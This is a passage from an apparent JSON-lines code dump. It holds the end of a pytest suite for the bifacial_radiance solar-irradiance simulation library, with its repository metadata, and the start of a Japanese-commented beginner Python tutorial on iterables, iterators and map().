demo.genCumSky(demo.epwfile) # entire year.  # Don't know how to test this yet in pytest...\n    else:\n        demo.gendaylit(metdata=metdata,timeindex=4020)  # Noon, June 17th\n    # create a scene using panels in landscape at 10 deg tilt, 1.5m pitch. 0.2 m ground clearance\n    sceneDict = {'tilt':10,'pitch':1.5,'height':0.2,'azimuth':30, 'nMods':10, 'nRows':3}  \n    moduleDict = demo.makeModule(name='test',y=0.95,x=1.59, xgap=0)\n    scene = demo.makeScene('test',sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\n    octfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object files into a .oct file.\n    analysis = bifacial_radiance.AnalysisObj(octfile, demo.name)  # return an analysis object including the scan dimensions for back irradiance\n    (frontscan,backscan) = analysis.moduleAnalysis(scene)\n    analysis.analysis(octfile, demo.name, frontscan, backscan)  # compare the back vs front irradiance      \n    #assert np.round(np.mean(analysis.backRatio),2) == 0.20  # bifi ratio was == 0.22 in v0.2.2\n    assert np.mean(analysis.Wm2Front) == pytest.approx(899, rel = 0.005)  # was 912 in v0.2.3\n    assert np.mean(analysis.Wm2Back) == pytest.approx(189, rel = 0.02)  # was 182 in v0.2.2\n\"\"\"\n\ndef test_Radiance_1axis_gendaylit_modelchains():\n    # duplicate next sample using modelchain\n    # 1-axis .ini file\n    filename = \"ini_1axis.ini\"\n\n    (Params)= bifacial_radiance.load.readconfigurationinputfile(inifile=filename)\n    Params[0]['testfolder'] = TESTDIR\n    # unpack the Params tuple with *Params\n    demo2, analysis = bifacial_radiance.modelchain.runModelChain(*Params ) \n    #V 0.2.5 fixed the gcr passed to set1axis. (since gcr was not being passd to set1axis, gcr was default 0.33 default). \n    assert(np.mean(demo2.Wm2Front) == pytest.approx(205.0, 0.01) ) # was 214 in v0.2.3  # was 205 in early v0.2.4  \n    assert(np.mean(demo2.Wm2Back) == pytest.approx(43.0, 0.1) )\n\n\"\"\"    \ndef test_RadianceObj_1axis_gendaylit_end_to_end():\n    name = \"_test_1axis_gendaylit_end_to_end\"\n    # 1-axis tracking end-to-end test with torque tube and gap generation.  \n    # Takes 20 seconds for 2-sensor scan\n    gcr = 0.35   # ground cover ratio,  = module_height / pitch\n    albedo = 0.3     # ground albedo\n    hub_height = 2   # tracker height at 0 tilt in meters (hub height)\n    \n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    demo.setGround(albedo) # input albedo number or material name like 'concrete'.  To see options, run this without any input.\n    metdata = demo.readEPW(MET_FILENAME, starttime='01_01_01', endtime = '01_01_23') # read in the EPW weather data from above\n    #metdata = demo.readTMY(MET_FILENAME2) # select a TMY file using graphical picker\n    # set module type to be used and passed into makeScene1axis\n    # test modules with gap and rear tube\n    moduleDict=demo.makeModule(name='test',x=0.984,y=1.95,torquetube = True, numpanels = 2, ygap = 0.1)\n    sceneDict = {'pitch': np.round(moduleDict['sceney'] / gcr,3),'height':hub_height, 'nMods':10, 'nRows':3}  \n    key = '01_01_11'\n    # create metdata files for each condition. keys are timestamps for gendaylit workflow\n    trackerdict = demo.set1axis(cumulativesky = False, gcr=gcr)\n    # create the skyfiles needed for 1-axis tracking\n    demo.gendaylit1axis(metdata = metdata, enddate = '01/01')\n    # Create the scene for the 1-axis tracking\n    demo.makeScene1axis({key:trackerdict[key]}, moduletype='test', sceneDict=sceneDict, cumulativesky = False)\n    #demo.makeScene1axis({key:trackerdict[key]}, module_type,sceneDict, cumulativesky = False, nMods = 10, nRows = 3, modwanted = 7, rowwanted = 3, sensorsy = 2) #makeScene creates a .rad file with 20 modules per row, 7 rows.\n    \n    demo.makeOct1axis(trackerdict,key) # just run this for one timestep: Jan 1 11am\n    trackerdict = demo.analysis1axis(trackerdict, singleindex=key, modWanted=7, rowWanted=3, sensorsy=2) # just run this for one timestep: Jan 1 11am\n    \n    #V 0.2.5 fixed the gcr passed to set1axis. (since gcr was not being passd to set1axis, gcr was default 0.33 default). \n    assert(np.mean(demo.Wm2Front) == pytest.approx(205.0, 0.01) ) # was 214 in v0.2.3  # was 205 in early v0.2.4  \n    assert(np.mean(demo.Wm2Back) == pytest.approx(43.0, 0.1) )\n\"\"\"\n\ndef test_1axis_gencumSky():\n    name = \"test_1axis_gencumSky\"\n    # Takes 20 seconds for 2-sensor scan\n    gcr = 0.35   # ground cover ratio,  = module_height / pitch\n    albedo = 0.3     # ground albedo\n    hub_height = 2   # tracker height at 0 tilt in meters (hub height)\n    \n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    demo.setGround(albedo) # input albedo number or material name like 'concrete'.  To see options, run this without any input.\n    demo.readEPW(MET_FILENAME, starttime='01_01_01', endtime = '01_01_23') # read in the EPW weather data from above\n    moduleDict=demo.makeModule(name='test',x=0.984,y=1.95, numpanels = 2, ygap = 0.1)\n    pitch= np.round(moduleDict['sceney'] / gcr,3)\n    trackerdict = demo.set1axis(cumulativesky = True, gcr=gcr)\n    demo.genCumSky1axis()\n    assert trackerdict[-45.0]['skyfile'][0:5] == 'skies' #  # Having trouble with the \\ or //    'skies\\\\1axis_-45.0.rad'\n    sceneDict = {'gcr': gcr,'hub_height':hub_height, 'clearance_height':hub_height, 'nMods':10, 'nRows':3}  \n    trackerdict = demo.makeScene1axis(sceneDict=sceneDict, moduletype = 'test')\n    # Removing all of this other tests for hub_height and height since it's ben identified that\n    # a new module to handle hub_height and height in sceneDict needs to be implemented\n    # instead of checking inside of makeScene, makeSceneNxR, and makeScene1axis\n    assert trackerdict[-5.0]['radfile'][0:7] == 'objects' # 'objects\\\\1axis-5.0_1.825_11.42_5.0_10x3_origin0,0.rad'\n    sceneDict = {'pitch': pitch,'clearance_height':hub_height, 'nMods':10, 'nRows':3}  # testing height filter too\n    trackerdict = demo.makeScene1axis(sceneDict=sceneDict, moduletype = 'test')\n#    assert trackerdict[-5.0]['radfile'] == 'objects\\\\1axis-5.0_1.825_11.42_5.0_10x3_origin0,0.rad'\n    sceneDict = {'pitch': pitch,'height':hub_height, 'nMods':10, 'nRows':3}  # testing height filter too\n    trackerdict = demo.makeScene1axis(sceneDict=sceneDict, moduletype = 'test')\n#    assert trackerdict[-5.0]['radfile'] == 'objects\\\\1axis-5.0_1.825_11.42_5.0_10x3_origin0,0.rad'\n    sceneDict = {'pitch': pitch,'height':hub_height, 'clearance_height':hub_height, 'nMods':10, 'nRows':3}  # testing height filter too\n    trackerdict = demo.makeScene1axis(sceneDict=sceneDict, moduletype = 'test')\n#    assert trackerdict[-5.0]['radfile'] == 'objects\\\\1axis-5.0_1.825_11.42_5.0_10x3_origin0,0.rad'\n    sceneDict = {'pitch': pitch,'height':hub_height, 'hub_height':hub_height, 'nMods':10, 'nRows':3}  # testing height filter too\n    trackerdict = demo.makeScene1axis(sceneDict=sceneDict, moduletype = 'test')\n    demo.exportTrackerDict(trackerdict, savefile = 'results\\exportedTrackerDict')\n    assert trackerdict[-5.0]['radfile'][0:7] == 'objects' \n    #assert trackerdict[-5.0]['radfile'] == 'objects\\\\1axis-5.0_1.825_11.42_5.0_10x3_origin0,0.rad'\n#    trackerdict = demo.makeOct1axis(trackerdict=trackerdict) # just run this for one timestep: Jan 1 11am\n#    trackerdict = demo.analysis1axis(trackerdict=trackerdict, modWanted=7, rowWanted=3, sensorsy=2) \n\ndef test_SceneObj_makeSceneNxR_lowtilt():\n    # test _makeSceneNxR(tilt, height, pitch, azimuth = 180, nMods = 20, nRows = 7, radname = None)\n    # default scene with simple_panel, 10 degree tilt, 0.2 height, 1.5 row spacing, landscape\n    name = \"_test_makeSceneNxR_lowtilt\"\n    demo = bifacial_radiance.RadianceObj(name) \n    demo.makeModule(name='test',y=0.95,x=1.59)\n    #scene = bifacial_radiance.SceneObj(moduletype = name)\n    #scene._makeSceneNxR(tilt=10,height=0.2,pitch=1.5)\n    sceneDict={'tilt':10, 'height':0.2, 'pitch':1.5}\n    scene = demo.makeScene(moduletype='test', sceneDict=sceneDict)\n    analysis = bifacial_radiance.AnalysisObj()\n    (frontscan,backscan) = analysis.moduleAnalysis(scene)\n    \n    assert frontscan.pop('orient') == '-0.000 0.174 -0.985'# was 0,0,-11 in v0.2.4\n    assert frontscan == pytest.approx({'Nx': 1, 'Ny': 9, 'Nz': 1,  'xinc': 0,  'yinc': 0.093556736536159757,\n                              'xstart': 4.627616431348303e-17,'ystart': -0.3778735578756446, 'zinc': 0.016496576878358378, 'zstart': 0.23717753969161476})\n                               \n    assert backscan.pop('orient') == '0.000 -0.174 0.985' # was 0,0,1 in v0.2.4\n    assert backscan == pytest.approx({'Nx': 1, 'Ny': 9, 'Nz': 1,  'xinc': 0, 'yinc': 0.093556736536159757,\n                              'xstart': 4.580831740657635e-17,  'ystart': -0.3740532979669721, 'zinc': 0.016496576878358378,\n                              'zstart': 0.21551176912534617}) # zstart was 0.01 and zinc was 0 in v0.2.2\n    #assert scene.text == '!xform -rz -90 -t -0.795 0.475 0 -rx 10 -t 0 0 0.2 -a 20 -t 1.6 0 0 -a 7 -t 0 1.5 0 -i 1 -t -15.9 -4.5 0 -rz 0 objects\\\\simple_panel.rad'\n    assert scene.text[0:116] == '!xform -rx 10 -t 0 0 0.2824828843917919 -a 20 -t 1.6 0 0 -a 7 -t 0 1.5 0 -i 1 -t -14.4 -4.5 0 -rz 0 -t 0 0 0 objects' #linux has different directory structure and will error here.\n\ndef test_SceneObj_makeSceneNxR_hightilt():\n    # test _makeSceneNxR(tilt, height, pitch, orientation = None, azimuth = 180, nMods = 20, nRows = 7, radname = None)\n    # default scene with simple_panel, 50 degree tilt, 0.2 height, 1.5 row spacing, landscape\n    name = \"_test__makeSceneNxR_hightilt\"\n    demo = bifacial_radiance.RadianceObj(name) \n    demo.makeModule(name='test',y=0.95,x=1.59)\n    #scene = bifacial_radiance.SceneObj(moduletype = name)\n    #scene._makeSceneNxR(tilt=65,height=0.2,pitch=1.5,azimuth=89)\n    sceneDict={'tilt':65, 'height':0.2, 'pitch':1.5, 'azimuth':89}\n    scene = demo.makeScene(moduletype='test', sceneDict=sceneDict)\n    analysis = bifacial_radiance.AnalysisObj()\n    (frontscan,backscan) = analysis.moduleAnalysis(scene)\n    \n    \n    temp = frontscan.pop('orient')\n    '''\n    assert [float(x) for x in temp.split(' ')] == pytest.approx([-0.999847695156, -0.0174524064373, 0])\n\n    assert frontscan == pytest.approx({'Nx': 1, 'Ny': 1, 'Nz': 9, 'xinc': 0, 'xstart': 0, 'yinc': 0,\n                                'ystart': 0, 'zinc': 0.086099239768481745,'zstart': 0.28609923976848173})\n                               \n    temp2 = backscan.pop('orient')\n    assert [float(x) for x in temp2.split(' ')] == pytest.approx([0.999847695156, 0.0174524064373, 0])\n    assert backscan == pytest.approx({'Nx': 1, 'Ny': 1, 'Nz': 9, 'xinc': 0, 'xstart': -0.94985531039857163, \n                            'yinc': 0, 'ystart': -0.016579786115419416, 'zinc': 0.086099239768481745, 'zstart': 0.28609923976848173})\n    #assert scene.text == '!xform -rz -90 -t -0.795 0.475 0 -rx 65 -t 0 0 0.2 -a 20 -t 1.6 0 0 -a 7 -t 0 1.5 0 -i 1 -t -15.9 -4.5 0 -rz 91 objects\\\\simple_panel.rad'\n    assert scene.text[0:93] == '!xform -rx 65 -t 0 0 0.2 -a 20 -t 1.6 0 0 -a 7 -t 0 1.5 0 -i 1 -t -16.0 -4.5 0 -rz 91 objects'\n    '''   \n    assert [float(x) for x in temp.split(' ')] == pytest.approx([-0.906, -0.016, -0.423]) #was 0,0,-1 in v0.2.4\n\n    assert frontscan == pytest.approx({'Nx': 1, 'Ny': 9, 'Nz': 1, 'xinc': -0.040142620018581696, 'xstart': 0.1796000448657153, 'yinc': -0.0007006920388131139,\n                                'ystart': 0.0031349304442418674, 'zinc': 0.08609923976848174,'zstart':  0.2949742232650364})\n                               \n    temp2 = backscan.pop('orient')\n    assert [float(x) for x in temp2.split(' ')] == pytest.approx([0.906, 0.016, 0.423]) #was 0,0,1 in v0.2.4\n    assert backscan == pytest.approx({'Nx': 1, 'Ny': 9, 'Nz': 1, 'xinc': -0.040142620018581696, 'xstart': 0.15966431032235584, \n                            'yinc': -0.0007006920388131139, 'ystart': 0.0027869509033958163, 'zinc': 0.08609923976848174, 'zstart': 0.28567662150674106})\n    #assert scene.text == '!xform -rz -90 -t -0.795 0.475 0 -rx 65 -t 0 0 0.2 -a 20 -t 1.6 0 0 -a 7 -t 0 1.5 0 -i 1 -t -15.9 -4.5 0 -rz 91 objects\\\\simple_panel.rad'\n    assert scene.text[0:117] == '!xform -rx 65 -t 0 0 0.6304961988424087 -a 20 -t 1.6 0 0 -a 7 -t 0 1.5 0 -i 1 -t -14.4 -4.5 0 -rz 91 -t 0 0 0 objects'\n    \n\n \ndef test_AnalysisObj_linePtsMake3D():\n    # test linepts = linePtsMake3D(xstart,ystart,zstart,xinc,yinc,zinc,Nx,Ny,Nz,orient):\n    analysis = bifacial_radiance.AnalysisObj()\n    linepts = analysis._linePtsMake3D(0,0,0,1,1,1,1,2,3,'0 1 0')\n    assert linepts == '0 0 0 0 1 0 \\r1 1 1 0 1 0 \\r0 0 0 0 1 0 \\r1 1 1 0 1 0 \\r0 0 0 0 1 0 \\r1 1 1 0 1 0 \\r' # v2.5.0 new linepts because now x and z also increase not only y.\n    #assert linepts == '0 0 0 0 1 0 \\r0 1 0 0 1 0 \\r0 0 1 0 1 0 \\r0 1 1 0 1 0 \\r0 0 2 0 1 0 \\r0 1 2 0 1 0 \\r'\n\ndef test_CellLevelModule():\n    # test the cell-level module generation \n    name = \"_test_CellLevelModule\"\n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    cellParams = {'xcell':0.156, 'ycell':0.156, 'numcellsx':6, 'numcellsy':10,  \n                   'xcellgap':0.02, 'ycellgap':0.02}\n    #moduleDict = demo.makeModule(name=name, cellLevelModule=True, xcell=0.156, rewriteModulefile=True, ycell=0.156,  \n    #                             numcellsx=6, numcellsy=10, xcellgap=0.02, ycellgap=0.02)\n    moduleDict = demo.makeModule(name='test', rewriteModulefile=True, cellLevelModuleParams = cellParams)\n    assert moduleDict['x'] == 1.036\n    assert moduleDict['y'] == 1.74\n    assert moduleDict['scenex'] == 1.046\n    assert moduleDict['sceney'] == 1.74\n    assert moduleDict['text'] == '! genbox black cellPVmodule 0.156 0.156 0.02 | xform -t -0.44 -0.87 0 -a 6 -t 0.176 0 0 -a 10 -t 0 0.176 0 -a 1 -t 0 1.74 0'\n    \ndef test_TorqueTubes_Module():\n    name = \"_test_TorqueTubes\"\n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    moduleDict = demo.makeModule(name='square', y=0.95,x=1.59, rewriteModulefile=True, torquetube=True, tubetype='square')\n    assert moduleDict['x'] == 1.59\n    assert moduleDict['text'] == '! genbox black square 1.59 0.95 0.02 | xform -t -0.795 -0.475 0 -a 1 -t 0 0.95 0\\r\\n! genbox Metal_Grey tube1 1.6 0.1 0.1 | xform -t -0.8 -0.05 -0.2'\n    moduleDict = demo.makeModule(name='round', y=0.95,x=1.59, rewriteModulefile=True, torquetube=True, tubetype='round')\n    assert moduleDict['text'][0:30] == '! genbox black round 1.59 0.95'\n    moduleDict = demo.makeModule(name='hex', y=0.95,x=1.59, rewriteModulefile=True, torquetube=True, tubetype='hex')\n    assert moduleDict['text'][0:30] == '! genbox black hex 1.59 0.95 0'\n    moduleDict = demo.makeModule(name='oct', y=0.95,x=1.59, rewriteModulefile=True, torquetube=True, tubetype='oct')\n    assert moduleDict['text'][0:30] == '! genbox black oct 1.59 0.95 0'\n\ndef test_gendaylit2manual():\n    name = \"_test_gendaylit2manual\"\n    demo = bifacial_radiance.RadianceObj(name)\n    demo.setGround('litesoil') \n    skyname = demo.gendaylit2manual(dni = 700, dhi = 100, sunalt = 67, sunaz = 180) # Invented values.\n    assert skyname[0:5] == 'skies' # Having trouble with the \\ or // with 'skies\\sky2__test_gendaylit2manual.rad'\n\n\n    \ndef test_SingleModule_end_to_end():\n    # 1 module for STC conditions. DNI:900, DHI:100, sun angle: 33 elevation 0 azimuth\n    name = \"_test_SingleModule_end_to_end\"\n    demo = bifacial_radiance.RadianceObj(name)  # Create a RadianceObj 'object'\n    demo.setGround('litesoil') \n    metdata = demo.readEPW(epwfile= MET_FILENAME)\n    demo.gendaylit(timeindex=4020, metdata=metdata, debug=True)  # 1pm, June 17th\n    # create a scene using panels in landscape at 10 deg tilt, 1.5m pitch. 0.2 m ground clearance\n    tilt=demo.getSingleTimestampTrackerAngle(metdata=metdata, timeindex=4020, gcr=0.33)\n    assert tilt == pytest.approx(-6.7, abs = 0.4)\n    sceneDict = {'tilt':0,'pitch':1.5,'clearance_height':1, 'nMods':1, 'nRows':1}  \n    demo.makeModule()\n    demo.makeModule(name='test',y=0.95,x=1.59, xgap=0)\n    scene = demo.makeScene('test',sceneDict) \n   \n    #objname='Marker'\n    #text='! genbox white_EPDM mymarker 0.02 0.02 2.5 | xform -t -.01 -.01 0'   \n    #customObject = demo.makeCustomObject(objname,text)\n    #demo.appendtoScene(scene.radfiles, customObject, '!xform -rz 0')\n    octfile = demo.makeOct(demo.getfilelist(), hpc=True)  # makeOct combines all of the ground, sky and object files into a .oct file.\n    analysis = bifacial_radiance.AnalysisObj(octfile, demo.name)  # return an analysis object including the scan dimensions for back irradiance\n    (frontscan,backscan) = analysis.moduleAnalysis(scene, sensorsy=1)\n    analysis.analysis(octfile, demo.name, frontscan, backscan)  # compare the back vs front irradiance  \n    assert analysis.mattype[0][:12] == 'a0.0.a0.test'\n    assert analysis.rearMat[0][:12] == 'a0.0.a0.test'\n    assert analysis.x == [0]\n    assert analysis.y == [0]\n    assert np.mean(analysis.Wm2Front) == pytest.approx(1025, abs = 2)\n    analysis.makeImage('side.vp', hpc=True)\n    analysis.makeFalseColor('side.vp') #TODO: this works on silvanas computer, \n    # side.vp must exist inside of views folder in test folder... make sure this works \n    # in other computers\n    assert np.mean(analysis.Wm2Back) == pytest.approx(166, abs = 6)\n\ndef test_left_label_metdata():\n    # left labeled MetObj read in with -1 hour timedelta should be identical to \n    # right labeled MetObj\n    import pvlib\n    import pandas as pd\n    (tmydata, metadata) = pvlib.iotools.epw.read_epw(MET_FILENAME, coerce_year=2001)\n    # rename different field parameters to match output from \n    # pvlib.tmy.readtmy: DNI, DHI, DryBulb, Wspd\n    tmydata.rename(columns={'dni':'DNI',\n                            'dhi':'DHI',\n                            'temp_air':'DryBulb',\n                            'wind_speed':'Wspd',\n                            'ghi':'GHI',\n                            'albedo':'Alb'\n                            }, inplace=True)    \n    metdata1 = bifacial_radiance.MetObj(tmydata, metadata, label='left')\n    demo = bifacial_radiance.RadianceObj('test')\n    metdata2 = demo.readEPW(epwfile=MET_FILENAME, label='right' )\n    pd.testing.assert_frame_equal(metdata1.solpos, metdata2.solpos)\n    assert metdata2.solpos.index[7] == pd.to_datetime('2001-01-01 07:42:00 -7')", "meta": {"hexsha": "913522219d86b416d0c252d22454ccd4dec0910f", "size": 23377, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_bifacial_radiance.py", "max_stars_repo_name": "tjcoathu/bifacial_radiance", "max_stars_repo_head_hexsha": "6e22bf6214696c5994738284b0ae4499c5ca2c05", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 55, "max_stars_repo_stars_event_min_datetime": "2018-04-16T16:14:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-28T09:57:23.000Z", "max_issues_repo_path": "tests/test_bifacial_radiance.py", "max_issues_repo_name": "tjcoathu/bifacial_radiance", "max_issues_repo_head_hexsha": "6e22bf6214696c5994738284b0ae4499c5ca2c05", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 350, "max_issues_repo_issues_event_min_datetime": "2018-02-15T10:51:28.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T21:18:08.000Z", "max_forks_repo_path": "tests/test_bifacial_radiance.py", "max_forks_repo_name": "tjcoathu/bifacial_radiance", "max_forks_repo_head_hexsha": "6e22bf6214696c5994738284b0ae4499c5ca2c05", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 39, "max_forks_repo_forks_event_min_datetime": "2018-09-30T15:12:47.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T09:57:43.000Z", "avg_line_length": 63.6975476839, "max_line_length": 225, "alphanum_fraction": 0.6794284981, "include": true, "reason": "import numpy", "num_tokens": 7885, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491215859561856, "lm_q2_score": 0.1311732152706269, "lm_q1q2_score": 0.05049016543974475}}
{"text": "import numpy as np\n\n# \u30a4\u30c6\u30e9\u30d6\u30eb\u3001\u30a4\u30c6\u30ec\u30fc\u30bf\u3068map() \u306e\u4f7f\u3044\u304b\u305f\n# \u53c2\u8003URL: https://dot-blog.jp/news/python-iterable-iterator/\n\n# \u30a4\u30c6\u30e9\u30d6\u30eb(Iterable)\u3068\u30a4\u30c6\u30ec\u30fc\u30bf(Iterator)\n\n# \u30a4\u30c6\u30e9\u30d6\u30eb(Iterable): for \u6587\u306e in \u306b\u66f8\u304d\u8fbc\u3081\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8... Iterable \u306f\u300c\u7e70\u308a\u8fd4\u3057\u53ef\u80fd\u306a\u300d\u3068\u3044\u3046\u610f\u5473\n# \u53c2\u8003URL: https://python.ms/iterable/\n\n# \u4ee5\u4e0b\u3001\u516c\u5f0f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u65e5\u672c\u8a9e\u8a33\u3092\u5f15\u7528\uff1a\n# \u4e00\u5ea6\u306b\u4e00\u3064\u305a\u3064\u3001\u81ea\u5206\u304c\u6301\u3064\u8981\u7d20\u3092\u8fd4\u3059\u3053\u3068\u304c\u3067\u304d\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3067\u3059\u3002iterable \u306e\u4f8b\u306b\u306f\u3001\u6b21\u306e\u578b\u306b\u5c5e\u3059\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\n# \u307e\u305a list, str, tuple \u306a\u3069\u306e\u5168\u3066\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u578b\u3084\u3001\u307e\u305f dict, file object \u306a\u3069\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u3067\u306a\u3044\u578b\u3001\n# \u3042\u308b\u3044\u306f\u30e6\u30fc\u30b6\u304c __iter__ \u30e1\u30bd\u30c3\u30c9\u3082\u3057\u304f\u306f\u30b7\u30fc\u30b1\u30f3\u30b9\u306e\u52d5\u4f5c\u3092\u3059\u308b __getitem__ \u30e1\u30bd\u30c3\u30c9\u3092\u5b9f\u88c5\u3057\u305f\u5168\u3066\u306e\u30af\u30e9\u30b9\u3067\u3059\n\nfor v in [1, 2, 3]:\n\tprint(v) # 1 -> 2 -> 3 \u3068\u3001\u9806\u756a\u304c\u8a18\u61b6\u3055\u308c\u3066\u3044\u308b\u306e\u3067\u3001list\u306fIterable\u3068\u3044\u3048\u308b\nprint()\n\n# \u30a4\u30c6\u30ec\u30fc\u30bf(Iterator): list, tuple, set \u306a\u3069\u306e\u96c6\u5408\u3092\u8868\u73fe\u3059\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092  iter \u95a2\u6570  \u3092\u4f7f\u3063\u3066  \u30b3\u30d4\u30fc \u3057\u305f\u3088\u3046\u306a\u3082\u306e\n# \u53c2\u8003URL: https://python.ms/iterator/\n\n# \u30a4\u30c6\u30ec\u30fc\u30bf\u306f\u3001\u7d44\u307f\u8fbc\u307f\u95a2\u6570 next() \u3092\u901a\u3058\u3066\u3001\u542b\u307e\u308c\u308b\u8981\u7d20\u3092\u4e00\u3064\u305a\u3064\u53d6\u308a\u51fa\u3059\u3053\u3068\u304c\u3067\u304d\u308b -> \u3064\u307e\u308a\u3001\u300c\u6b21\u306e\u8981\u7d20\u300d\u3092\u8a18\u61b6\u3057\u3066\u3044\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\n# \u300e\u30a4\u30c6\u30e9\u30d6\u30eb\u306a\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u300f\u3068\u300e\u30a4\u30c6\u30ec\u30fc\u30bf\u300f\u306e\u9055\u3044\u306f\u300e\u30a4\u30c6\u30ec\u30fc\u30b7\u30e7\u30f3\u3057\u305f\u72b6\u614b\u3092\u8a18\u61b6\u3057\u3066\u304a\u304f\u300f\u3053\u3068\u304c\u3067\u304d\u308b\u3053\u3068\nmy_iterator = iter([1, 2, 3, 4])\nprint(\"-------- print iterator --------\")\nprint(next(my_iterator)) # -> 1\nprint(next(my_iterator)) # -> 2\nprint(next(my_iterator)) # -> 3\nprint(next(my_iterator)) # -> 4\nprint()\n\n# \u6700\u5f8c\u307e\u3067\u5230\u9054\u3057\u305f\u72b6\u614b\u3067\u3001next()\u3092\u547c\u3070\u308c\u308b\u3068\u4f8b\u5916\u3092\u767a\u751f\u3059\u308b\n# print(next(my_iterator)) # -> StopIteration\n\n# map(callable, *iterable)\n# iterable\u306b\u5165\u308c\u3089\u308c\u305f\u7e70\u308a\u8fd4\u3057\u53ef\u80fd\u306a\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u8981\u7d20\u305d\u308c\u305e\u308c\u306b\u5bfe\u3057\u3066\u3001callable\u3067\u6e21\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u9069\u7528\u7d50\u679c\u3092\u3001\u30a4\u30c6\u30ec\u30fc\u30bf(map\u30aa\u30d6\u30b8\u30a7\u30af\u30c8)\u3068\u3057\u3066\u8fd4\u3059\n# \u53c2\u8003URL: https://qiita.com/conf8o/items/0cb02bc504b51af09099\n\n\n# \u8fd4\u308a\u5024\u3092for xxx in \u30eb\u30fc\u30d7\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u5165\u308c\u3089\u308c\u308b\u3000->\u3000\u8fd4\u308a\u5024\u306fIterable\u306a\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\uff08\u3063\u3066\u3044\u3046\u304b\u30a4\u30c6\u30ec\u30fc\u30bf\uff09\nprint(\"-------- print result of map(np.square, [1, 3, 5, 7, 9]) --------\")\nfor i, v in enumerate( map(np.square, [1, 3, 5, 7, 9]) ):\n\tprint(\"{}: {}\".format(i, v))\nprint()\n\n# \u4e0e\u3048\u3089\u308c\u305f\u30ea\u30b9\u30c8\u306e\u5404\u8981\u7d20\u30922\u4e57\u3057\u305f\u8981\u7d20\u3092\u3075\u304f\u3080\u30a4\u30c6\u30ec\u30fc\u30bf(map\u30aa\u30d6\u30b8\u30a7\u30af\u30c8)\u3092\u8fd4\u3059\nnum_square = map(np.square, [1, 3, 5, 7, 9])\n\n# \u305d\u306e\u307e\u307e\u3060\u3068map\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306a\u306e\u3067\u3001print()\u3067\u4e2d\u8eab\u3092\u8868\u793a\u306f\u3067\u304d\u306a\u3044\nprint(\"return map() is: \", end=\"\")\nprint(num_square)\nprint(\"return type of map(): {}\".format(type(num_square))) # type()\u3067\u898b\u3066\u307f\u308b\n\nprint()\n\n# list\u306b\u5909\u63db\u3059\u308c\u3070\u3001print\u3067\u4e00\u89a7\u3092\u8868\u793a\u3067\u304d\u308b\nprint(\"print(list(num_square)): -> \", end=\"\")\nprint(list(num_square))\n\n# \uff01\uff01\uff01 \u3053\u3053\u3067\u6ce8\u610f \uff01\uff01\uff01\n# map\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306f\u30a4\u30c6\u30ec\u30fc\u30bf\u3067\u3042\u308b\u306e\u3067\u3001\u6700\u521d\u306e\u4f4d\u7f6e\u306b\u306f\u623b\u308c\u306a\u3044\n# \u3053\u3053\u3067\u3082\u3046\u4e00\u56deprint()\u3092\u3057\u3066\u307f\u308b\u3068\u3001\u3001\u3001\u3059\u3067\u306b\u672b\u5c3e\u306b\u9054\u3057\u3066\u3044\u308b\u306e\u3067\u4f55\u3082\u8868\u793a\u3055\u308c\u306a\u3044\nprint(\"once more print(list(num_square)): -> \", end=\"\")\nprint(list(num_square)) # -> []\nprint()\n\n# map\u306e\u51e6\u7406\u7d50\u679c\u3092\u4f55\u5ea6\u3082\u4f7f\u3044\u305f\u3044\u5834\u5408\u306f\u3001list\u306a\u3069\u306b\u30ad\u30e3\u30b9\u30c8\u3057\u3066\u304a\u304f\u5fc5\u8981\u304c\u3042\u308b\nnum_square2 = list(map(np.square, [1, 3, 5, 7, 9]))\n\nprint(\"print(num_square2): -> \", end=\"\")\nprint(list(num_square2))\nprint(\"once more print(num_square2): -> \", end=\"\")\nprint(list(num_square2)) # -> 2\u56de\u76ee\u3067\u3082\u3061\u3083\u3093\u3068\u7d50\u679c\u304c\u51fa\u3066\u304f\u308b\nprint()\n", "meta": {"hexsha": "10f369940f2f18011193289dce9cf8c67888d46a", "size": 2366, "ext": "py", "lang": "Python", "max_stars_repo_path": "paiza-larning/iterable_iterator_map.py", "max_stars_repo_name": "y-uchiida/python-training", "max_stars_repo_head_hexsha": "7e08fc7c049cb9330e17a024b9089865415a6acd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "paiza-larning/iterable_iterator_map.py", "max_issues_repo_name": "y-uchiida/python-training", "max_issues_repo_head_hexsha": "7e08fc7c049cb9330e17a024b9089865415a6acd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, 